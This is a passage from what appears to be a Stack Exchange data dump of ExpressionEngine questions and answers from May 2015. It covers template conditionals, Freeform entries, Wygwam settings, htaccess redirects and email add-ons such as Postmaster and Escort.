  <row Id="31532" PostTypeId="1" AcceptedAnswerId="31736" CreationDate="2015-05-18T23:13:56.440" Score="0" ViewCount="47" Body="&lt;p&gt;I have just configured a test site using a fresh install of Brilliant Retail, and it appears the first order number starts with 10000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change this default starting number? I looked in the settings but either I'm just not seeing it, or it doesn't exist as a user configurable option. In case my client asks, I would like to know if it is possible to change this figure at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6317" LastActivityDate="2015-06-01T23:54:03.820" Title="Brilliant Retail: change order number" Tags="|ecommerce|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31533" PostTypeId="2" ParentId="28801" CreationDate="2015-05-19T04:55:49.177" Score="0" Body="&lt;p&gt;I Think you need to embed template  for parents if you are retrieving more then 1 level parents. by passing entry id  inside a playa tag.&#xA;example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:playa:parents ........}&#xA;{embed=&quot;template-group/template&quot; child_id=&quot;{entry_id&quot;}&#xA;{/exp:playa:parents}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2015-05-19T04:55:49.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31534" PostTypeId="1" CreationDate="2015-05-19T07:37:38.077" Score="0" ViewCount="89" Body="&lt;p&gt;I'm trying to use page transitions using smoothstate.js (&lt;a href=&quot;http://miguel-perez.github.io/smoothState.js/&quot; rel=&quot;nofollow&quot;&gt;http://miguel-perez.github.io/smoothState.js/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this appears to do is to load the destination of a link in the background when the link is hovered rather than clicked, meaning when it is actually clicked the content is already loaded and can be presented with a smooth transition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge I'm finding is that I often use an {if segment_3 != ''} type conditional to use one template to show both a listings AND a detail page and avoid having to create an extra template and add an extra segment to my URL. Something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == ''}&#xA;&#xA;    Listings page to go here...&#xA;&#xA;{if:elseif segment_3 != ''}&#xA;&#xA;    Detail page to go here...&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to cause problems and not load the content on these detail pages correctly. I can only assume this is because when the content is loaded, the URL hasn't changed yet, meaning the EE conditional still comes out as false rather than positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to get around this would be massively helpful and appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="432" LastEditDate="2015-05-20T07:39:29.270" LastActivityDate="2015-07-21T14:47:42.433" Title="How to use page transitions with Expression Engine" Tags="|conditionals|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31535" PostTypeId="1" AcceptedAnswerId="31539" CreationDate="2015-05-19T10:08:32.163" Score="0" ViewCount="36" Body="&lt;p&gt;Has anyone seen a plugin or a method where I can set a description for a category field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client who is uploading wrong image dimensions to the category image field. I want to suggest &quot;please use 500x500&quot; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UXyaz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2015-05-19T14:57:52.157" Title="Category field description" Tags="|categories|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31536" PostTypeId="1" CreationDate="2015-05-19T10:21:58.920" Score="-3" ViewCount="207" Body="&lt;p&gt;I get the entry id and now wanna to display the result on different page for a particular item and all the related information with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but not displaying the result as I want?&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2015-05-19T15:50:04.707" Title="how to use freeform entry_id on different pages for displaying the result from freeform entries?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31537" PostTypeId="1" CreationDate="2015-05-19T11:20:47.577" Score="-1" ViewCount="88" Body="&lt;p&gt;Got the entry id but don't know how to use this to fetch the data on different pages.&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2015-05-19T12:41:42.260" Title="how can I use free form entry id for fetching data on different pages?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-21T12:38:35.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="31538" PostTypeId="1" AcceptedAnswerId="31544" CreationDate="2015-05-19T11:24:12.283" Score="0" ViewCount="40" Body="&lt;p&gt;In a channel, I've removed the Structure tab, but there's no way to get it back. Or at least, I'm missing it. The tab is gone, but all fields that were in it too and they're not in the Fields list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm talking about 'Structure Parent Entry', 'Structure Page URL', 'Structure Template', 'Hide from nav' and 'Listing Channel'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way of getting them back somehow?&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-05-19T14:39:31.957" Title="Entry Layout Plugin issue with Stucture" Tags="|structure|entry|publish-layout|layout-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31539" PostTypeId="2" ParentId="31535" CreationDate="2015-05-19T11:44:01.430" Score="1" Body="&lt;p&gt;No add-ons I'm aware of, as most deal with the initial display of categories and groups, rather than the editing page (e.g. &lt;a href=&quot;https://devot-ee.com/add-ons/category-construct&quot; rel=&quot;nofollow&quot;&gt;Category Construct&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you could modify the language file for the admin interface and change the title:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;expressionengine/language/english/admin_content_lang.php&#xA;line 604:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'category_image' =&amp;gt;&#xA;'Category Image',&#xA;&#xA;'category_img_blurb' =&amp;gt;&#xA;'This is an optional field that enables you to assign an image to your categories.',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ignore the 'category_img_blurb' reference as it would seem that's now redundant and not used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you really want to hack it, expressionengine/views/admin/category_edit.php line 38 onwards, change to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;category_field&quot;&amp;gt;&#xA;    &amp;lt;?=form_label(lang('category_image'), 'cat_image')?&amp;gt;&#xA;    &amp;lt;?=$cat_image?&amp;gt;&#xA;    &amp;lt;span&amp;gt;&amp;lt;?=lang('category_img_blurb')?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;?php if (isset($cat_image_error) AND $cat_image_error !== ''): ?&amp;gt;&#xA;        &amp;lt;span class=&quot;notice&quot;&amp;gt;&amp;lt;?=$cat_image_error?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;br /&amp;gt;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Added this line in: &lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;?=lang('category_img_blurb')?&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - Just thought of a better way. Install &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;this addon&lt;/a&gt;. Then add something like this to the JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.pageContents form .category_field label[for=&quot;cat_image&quot;]').after('&amp;lt;p&amp;gt;Description of your category field&amp;lt;/p&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-05-19T14:57:52.157" LastActivityDate="2015-05-19T14:57:52.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31540" PostTypeId="2" ParentId="31536" CreationDate="2015-05-19T12:22:12.237" Score="0" Body="&lt;p&gt;Your question isn't super clear but I believe you are looking to have this for your form tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form return=&quot;template_group/template/%%entry_id%%&quot;}&#xA;    Form content goes here.&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The return parameter with that value in the third segment passes along the entry_id of the submission in the URI. Then you can use the freeform entries tag on your submission template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries entry_id=&quot;{segment_3}&quot;}&#xA;    Submission content goes here.&#xA;    {freeform:author}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.solspace.com/docs/freeform/entries/&quot; rel=&quot;nofollow&quot;&gt;Freeform entries tag functions&lt;/a&gt; just like the channel entries tag. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="425" LastEditDate="2015-05-19T15:50:04.707" LastActivityDate="2015-05-19T15:50:04.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31541" PostTypeId="2" ParentId="31537" CreationDate="2015-05-19T12:41:42.260" Score="0" Body="&lt;p&gt;I'll assume that you have redirected to a page capturing the entry_id.&#xA;i.e. &#xA;&lt;code&gt;return=&quot;some/template/%%entry_id%%&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which would give you /some/template/456&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On that page use the {exp:freeform:entries} tag and set the parameter, entry_id=&quot;{segment_3}&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries entry_id=&quot;{segment_3}&quot; form_id=&quot;111&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that you should have access to all the data for that entry.&#xA;don't forget to also set the form_id parameter.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-19T12:41:42.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31542" PostTypeId="1" CreationDate="2015-05-19T12:42:42.110" Score="1" ViewCount="66" Body="&lt;p&gt;For the latest version of Wygwam, is there a way to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When an image is added, prevent the image dialog from automatically filling the width/height of the chosen image's dimensions&lt;/li&gt;&#xA;&lt;li&gt;Instead, prefill both the width &amp;amp; height fields with the value &quot;100%&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm assuming a custom config file can be created &amp;amp; added to a Wygwam configuration via the Advanced Settings, but not sure of the code to do the two steps above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all!&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-19T12:42:42.110" Title="Customizing Wygwam &amp; CKEditor to prefill width &amp; height attributes" Tags="|pixelandtonic|wygwam|ckeditor|responsive-images|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31543" PostTypeId="1" CreationDate="2015-05-19T13:22:41.087" Score="1" ViewCount="64" Body="&lt;p&gt;I want to use the Channel Images integration for Wygwam, but there seem to be two issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) No matter which size I choose for the image, it always uses the smallest image (I have 3 sizes set in the CI field).&#xA;2.) The image disappears from the Wygwam field when I edit the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what's going on? Perhaps a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using:&#xA;EE 2.9.2&#xA;Wygwam: 3.3.3&#xA;CI: 5.4.19&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2015-05-19T13:22:41.087" Title="Wygwam not retaining Channel Images images" Tags="|wygwam|channel-images|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31544" PostTypeId="2" ParentId="31538" CreationDate="2015-05-19T13:23:44.250" Score="1" Body="&lt;p&gt;Click 'Reset Publish Layouts&quot; in the bottom right of the tabs panel to put it back to how it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LW521.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/moqad.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastEditorUserId="425" LastEditDate="2015-05-19T14:39:31.957" LastActivityDate="2015-05-19T14:39:31.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31547" PostTypeId="1" CreationDate="2015-05-19T15:47:50.737" Score="0" ViewCount="40" Body="&lt;p&gt;There is an EE extension (Ctrl+S) I want to install, but when I download it, it is just a php file, with no ReadMe file as to where to install it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck, I don’t know where to put this, to make it work. I know I am missing something basic, can someone tell me what to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2015-05-20T18:38:31.203" Title="Installing Extension Ctrl+S Need Help" Tags="|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31548" PostTypeId="2" ParentId="31547" CreationDate="2015-05-19T16:10:25.760" Score="1" Body="&lt;p&gt;All kinds of add-ons should be put on their own folders inside &lt;code&gt;system/expressionengine/third_party/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/plugins.html#installation&quot; rel=&quot;nofollow&quot;&gt;info on installing plugins&lt;/a&gt; can be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pay attention that the name of the folder should be the same as the add-on without the prefix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;no_follow/pi.no_follow.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Extensions also need to be enabled on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/add-ons/extension_manager.html&quot; rel=&quot;nofollow&quot;&gt;Control Panel &gt; Add-ons &gt; Extensions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-05-19T18:52:59.987" LastActivityDate="2015-05-19T18:52:59.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31549" PostTypeId="1" AcceptedAnswerId="31550" CreationDate="2015-05-19T17:27:09.907" Score="1" ViewCount="49" Body="&lt;p&gt;Im trying to show results after search so that if there is under 10, it shows A, but if there is more than 10 results, it shows B. But I dont understand how to make this happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this but it wont work:&#xA;&lt;code&gt;{if count == '1'}&amp;lt;h4&amp;gt;total results: &amp;lt;span&amp;gt;{absolute_results}&amp;lt;/span&amp;gt;.&amp;lt;/h4&amp;gt;{if:elseif count &amp;gt; '10'}&amp;lt;h4&amp;gt;There is more than 10 results. Refine your search?&amp;lt;/h4&amp;gt;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-05-20T00:20:08.013" Title="Wish a bit help with conditionals and operators" Tags="|conditionals|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31550" PostTypeId="2" ParentId="31549" CreationDate="2015-05-19T17:59:22.620" Score="3" Body="&lt;p&gt;You've almost got it. &lt;code&gt;{count}&lt;/code&gt; is the current count of the displayed entry in the tag's loop. Think of your entries as a numbered list, the &lt;code&gt;{count}&lt;/code&gt; is the position in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{absolute_results}&lt;/code&gt; however is &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#absolute-results&quot; rel=&quot;nofollow&quot;&gt;total number of entries in the &quot;list&quot;&lt;/a&gt;, so you want to build your conditional from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one example using your markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == 1}&#xA;    &amp;lt;h4&amp;gt;&#xA;        {if absolute_results &amp;gt; 10}&#xA;            There are more than ten results. Refine your search?&#xA;        {if:else}&#xA;            Total results: &amp;lt;span&amp;gt;{absolute_results}&amp;lt;/span&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/h4&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2015-05-20T00:20:08.013" LastActivityDate="2015-05-20T00:20:08.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31552" PostTypeId="1" AcceptedAnswerId="31572" CreationDate="2015-05-19T19:12:18.370" Score="1" ViewCount="539" Body="&lt;p&gt;I have a channel form with a relationship field options: loop. I'm trying to also get a custom field from this relationship. Is that possible? If yes, how?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;message_on_hold&quot;}&#xA;  {options:moh_voice_female}&#xA;&#xA;     &amp;lt;input type=&quot;radio&quot; name=&quot;moh_voice_female[data][]&quot; id=&quot;moh_voice_female&quot; value=&quot;{option_value}&quot;{checked}&amp;gt; {option_name}&#xA;&#xA;     ### Relationship Field : Custom Field ###&#xA;&#xA;     {moh_voice_female}{moh_voice_female:voice_talent_sample}{/moh_voice_female}&#xA;     {relationhip_field}{relationship_field:custom_field}{/relationhip_field}&#xA;&#xA;     ### This would work with exp:channel:entries ###&#xA;&#xA;  {/options:moh_voice_female}&#xA;{/exp:channel:form}&#xA;&#xA;# moh_voice_female is a relationship field&#xA;# voice_talent_sample is a custom field&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2016-06-08T09:52:49.473" Title="Channel Form - Relationship Field - Custom Field" Tags="|safecracker|relationships|custom-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31553" PostTypeId="2" ParentId="30070" CreationDate="2015-05-19T21:54:45.507" Score="1" Body="&lt;p&gt;Take your pick. There are a number of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/search/results?keywords=mailchimp&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/search/results?keywords=mailchimp&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're getting a Javascript error with SL Mailchimp Subscriber then it's probably that it would be simple to fix. If you can provide some more details I'm sure someone could help you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want something different then I've recently used Subscriber. Worked perfectly and easy to set up. &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-05-19T21:54:45.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31555" PostTypeId="2" ParentId="26810" CreationDate="2015-05-20T06:50:24.270" Score="0" Body="&lt;p&gt;Use it like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$this-&gt;input-&gt;set_cookie('mx_mobile_device', $this-&gt;cache['mx_mobile_device'], $this-&gt;cookie_expire );&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-05-20T06:50:24.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31556" PostTypeId="2" ParentId="26806" CreationDate="2015-05-20T07:13:26.867" Score="0" Body="&lt;p&gt;This doesn't sound quite the same but there was a compatibility issue with Low Search 4.2 and entry_type on EE 2.9.3 recently.  Updating Low Search to 4.3+ fixed it.  Just mentioning it as a just-in-case...&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2015-05-20T07:13:26.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31557" PostTypeId="1" CreationDate="2015-05-20T08:14:05.610" Score="0" ViewCount="94" Body="&lt;p&gt;Trying to access a google file on the server which is at &lt;a href=&quot;http://www.norland.co.uk/googled096ea11cba5b121.html&quot; rel=&quot;nofollow&quot;&gt;http://www.norland.co.uk/googled096ea11cba5b121.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an ExpressionEngine build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My htaccess rules as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;RewriteCond %{HTTP_HOST} ^www\.norland\.co\.uk$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} !^/college$&#xA;RewriteCond %{REQUEST_URI} !^/(college|agency|norlanders|consultancy)/(.*)$&#xA;RewriteRule ^(.*)$ /college/$1 [L,R=301]&#xA;&#xA;RewriteCond %{HTTP_HOST} ^www\.norland\.co\.uk$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would have thought the RewriteCond %{REQUEST_FILENAME} !-d rule would exclude this but for some reason requesting this is redirecting to &lt;a href=&quot;http://www.norland.co.uk/college/403.shtml&quot; rel=&quot;nofollow&quot;&gt;http://www.norland.co.uk/college/403.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'college' redirection I can understand but not a clue why it is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;redirecting to /403.html&lt;/li&gt;&#xA;&lt;li&gt;why the source file cannot be found when I can see it on the server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Help!?&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2016-05-26T13:33:22.037" Title="htaccess/redirection madness" Tags="|htaccess|.htaccess|rewrite|mod-rewrite|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31558" PostTypeId="1" CreationDate="2015-05-20T08:25:41.907" Score="1" ViewCount="78" Body="&lt;p&gt;I'm using Expression Engine's Channel Entries API and am having an issue with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User can add credits to their name. The storing of these credits work fine. If they choose to update their profile later on, it goes wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;  'edit_date'       =&amp;gt; time(),&#xA;  'entry_id'        =&amp;gt; $credit_entry_id,&#xA;  'title'           =&amp;gt; $credit[&quot;credit_upd_title_&quot; . $credit_entry_id],&#xA;  'field_id_90' =&amp;gt; $credit[&quot;credit_upd_director_&quot; . $credit_entry_id],&#xA;  'field_ft_90' =&amp;gt; 'none',&#xA;  'field_id_91' =&amp;gt; $credit[&quot;credit_upd_year_&quot; . $credit_entry_id],&#xA;  'field_ft_91' =&amp;gt; 'none',&#xA;  'field_id_93' =&amp;gt; $credit[&quot;credit_upd_link_&quot; . $credit_entry_id],&#xA;  'field_ft_93' =&amp;gt; 'xhtml',&#xA;  'category'        =&amp;gt; $cat_arr &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I dump this data, the data is correct. When I actually run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;save_entry($data, (int) $this-&amp;gt;credit_channel_id, (int) $credit_entry_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;everyting gets updated correctly EXCEPT for the title. The title instead is updated with the title of the parent_entry (this are playa entries). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something in the usage of the API or am I encountering a bug?&lt;/p&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="3830" LastEditDate="2015-05-20T09:50:10.803" LastActivityDate="2015-05-20T09:50:10.803" Title="Channel Entries API title issue" Tags="|playa|bug|channel-entries-api|api|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31560" PostTypeId="2" ParentId="31557" CreationDate="2015-05-20T09:19:43.357" Score="0" Body="&lt;p&gt;Presumably this is all of the htaccess rules? Nothing like the below preventing serving of HTML files entirely?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)?\.html$ - [F,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2015-05-20T09:19:43.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31561" PostTypeId="1" AcceptedAnswerId="31565" CreationDate="2015-05-20T11:29:15.760" Score="0" ViewCount="90" Body="&lt;p&gt;Does this replace the need for the Escort add-on? I also use Subscriptions by DevDemon, so I may need both, not sure if the two play nicely together or Postmaster simply replaces the need for the Escort module.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastEditorUserId="55" LastEditDate="2015-05-20T14:27:17.893" LastActivityDate="2015-05-20T14:27:17.893" Title="Postmaster &amp; Escort Add-on" Tags="|email|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31562" PostTypeId="1" CreationDate="2015-05-20T11:35:59.990" Score="0" ViewCount="76" Body="&lt;p&gt;&lt;strong&gt;I want to purchase this add-on but not sure if it will fit into what I need.  Maybe someone who already has it can let me know?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Can the add-on be setup to email a registered user when that end user submits a new entry (confirming they submitted an entry)?  Plus email the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Does this email the end user to new updates to their entries?  Does Postmaster send an email to the end-user if the admin updates their entry via the ACP or the front end using Channel:Form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) A bit of a stretch, but does the add-on have the ability to update a channel entry from an email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Can the add-on notify on a per user basis if I create (as admin) a new entry that I only want them to be contacted on (assign them to get a notification)?  I assign it to the member and they get an email saying they have a new entry waiting for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clarification is greatly appreciated! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-05-20T17:42:34.520" Title="Postmaster Functions" Tags="|postmaster|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31563" PostTypeId="1" CreationDate="2015-05-20T12:29:19.170" Score="1" ViewCount="73" Body="&lt;p&gt;I have a site that's using a custom wygwam field for the body of an article page. I've set the field up to be searchable, however, EE is only showing results that have the keyword(s) in the title. Is it not possible to search a wygwam field or is this a known bug?&lt;/p&gt;&#xA;" OwnerUserId="6323" LastActivityDate="2015-05-20T12:29:19.170" Title="EE 2.5.5 not searching in custom wygwam field" Tags="|wygwam|search|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31564" PostTypeId="1" CreationDate="2015-05-20T14:06:58.180" Score="0" ViewCount="92" Body="&lt;p&gt;I have started to have a problem uploading my videos from youtube since April with Channel Videos. Every time I do I only get a youtube place holder video telling me that the app is no longer supported by youtube. Why is this?&lt;/p&gt;&#xA;" OwnerUserId="6325" LastEditorUserId="55" LastEditDate="2015-05-20T15:10:15.480" LastActivityDate="2015-05-20T15:11:33.417" Title="Channel Videos youtube video upload: &quot;not supported since april 15 2015&quot;" Tags="|devdemon|channel-videos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31565" PostTypeId="2" ParentId="31561" CreationDate="2015-05-20T14:26:55.053" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/escort&quot; rel=&quot;nofollow&quot;&gt;Escort&lt;/a&gt; will send any and all emails generated by ExpressionEngine (or add-os which use EE's built-in email library) via your selected third-party email service. It's quick an simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; can also do this, but in a more complex manner, if you create a parcel using the &lt;a href=&quot;https://objectivehtml.com/postmaster/hooks/send-system-email&quot; rel=&quot;nofollow&quot;&gt;send_system_email&lt;/a&gt; hook. Its advantage is that you could also customize those emails via the Postmaster parcel you create (as you have to build a template for those system emails). But Postmaster's main strength really is in creating custom email notifications which fire when certain events 